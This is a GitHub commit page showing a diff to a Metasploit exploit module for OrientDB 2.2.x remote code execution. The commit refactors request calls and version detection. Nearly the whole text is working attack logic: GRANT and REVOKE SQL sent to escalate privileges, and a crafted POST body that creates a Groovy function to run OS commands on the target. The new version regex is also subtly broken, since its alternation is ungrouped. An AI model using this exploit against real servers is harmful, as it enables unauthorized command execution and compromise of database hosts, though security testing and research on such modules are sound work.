Skip to content

Commit 6c22f78

Browse files
author
Ricardo Almeida
committed
Orientdb 2.2.x RCE - Fine tune vulnerable version detection; removed redundant uri normalization checking; Swapped send_request_raw for send_request_cgi; using vars_get;
1 parent 00a817d commit 6c22f78

File tree

1 file changed

+19
-15
lines changed

1 file changed

+19
-15
lines changed

modules/exploits/multi/http/orientdb_exec.rb

Lines changed: 19 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ def initialize(info = {})
1414
'Name' => 'OrientDB 2.2.x Remote Code Execution',
1515
'Description' => %q{
1616
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
17-
All versions from 2.2.1 up to 2.2.22 should be vulnerable.
17+
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
1818
},
1919
'Author' =>
2020
[
@@ -51,9 +51,8 @@ def initialize(info = {})
5151
def check
5252
uri = target_uri
5353
uri.path = normalize_uri(uri.path)
54-
uri.path << "/" if uri.path[-1, 1] != "/"
55-
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
56-
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
54+
res = send_request_cgi({'uri' => "#{uri.path}listDatabases"})
55+
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\.[2-9]|1[0-9]|2[0-2]/
5756
print_good("Version: #{res.headers['Server']}")
5857
return Exploit::CheckCode::Vulnerable
5958
else
@@ -68,11 +67,12 @@ def http_send_command(cmd, opts = {})
6867
request_parameters = {
6968
'method' => 'POST',
7069
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
70+
'encode_params' => false,
7171
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
7272
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
7373
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
7474
}
75-
res = send_request_raw(request_parameters)
75+
res = send_request_cgi(request_parameters)
7676
if not (res and res.code == 201)
7777
begin
7878
json_body = JSON.parse(res.body)
@@ -85,11 +85,12 @@ def http_send_command(cmd, opts = {})
8585
request_parameters = {
8686
'method' => 'POST',
8787
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
88+
'encode_params' => false,
8889
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
8990
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
9091
'data' => ""
9192
}
92-
req = send_request_raw(request_parameters)
93+
req = send_request_cgi(request_parameters)
9394
if not (req and req.code == 200)
9495
begin
9596
json_body = JSON.parse(res.body)
@@ -112,11 +113,12 @@ def http_send_command(cmd, opts = {})
112113
request_parameters = {
113114
'method' => 'DELETE',
114115
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
116+
'encode_params' => false,
115117
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
116118
'headers' => { 'Accept' => '*/*' },
117119
'data' => ""
118120
}
119-
rer = send_request_raw(request_parameters)
121+
rer = send_request_cgi(request_parameters)
120122
if not (rer and rer.code == 204)
121123
begin
122124
json_body = JSON.parse(res.body)
@@ -157,8 +159,7 @@ def execute_command(cmd, opts = {})
157159
vprint_status("Attempting to execute: #{cmd}")
158160
@uri = target_uri
159161
@uri.path = normalize_uri(@uri.path)
160-
@uri.path << "/" if @uri.path[-1, 1] != "/"
161-
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
162+
res = send_request_cgi({'uri' => "#{@uri.path}listDatabases"})
162163
if res && res.code == 200 && res.body.length > 0
163164
begin
164165
json_body = JSON.parse(res.body)["databases"]
@@ -198,8 +199,7 @@ def linux_stager
198199
def exploit
199200
@uri = target_uri
200201
@uri.path = normalize_uri(@uri.path)
201-
@uri.path << "/" if @uri.path[-1, 1] != "/"
202-
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
202+
res = send_request_cgi({'uri' => "#{@uri.path}listDatabases"})
203203
if res && res.code == 200 && res.body.length > 0
204204
begin
205205
json_body = JSON.parse(res.body)["databases"]
@@ -219,12 +219,14 @@ def exploit
219219
items.each do |item|
220220
request_parameters = {
221221
'method' => 'POST',
222-
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20?format=rid,type,version,class,graph"),
222+
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
223+
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
224+
'encode_params' => false,
223225
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
224226
'headers' => { 'Accept' => '*/*' },
225227
'data' => "GRANT #{priv} ON #{item} TO writer"
226228
}
227-
res = send_request_raw(request_parameters)
229+
res = send_request_cgi(request_parameters)
228230
end
229231
end
230232
# Exploit
@@ -245,12 +247,14 @@ def exploit
245247
items.each do |item|
246248
request_parameters = {
247249
'method' => 'POST',
248-
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20?format=rid,type,version,class,graph"),
250+
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
251+
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
252+
'encode_params' => false,
249253
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
250254
'headers' => { 'Accept' => '*/*' },
251255
'data' => "REVOKE #{priv} ON #{item} FROM writer"
252256
}
253-
res = send_request_raw(request_parameters)
257+
res = send_request_cgi(request_parameters)
254258
end
255259
end
256260
end

0 commit comments

Comments
 (0)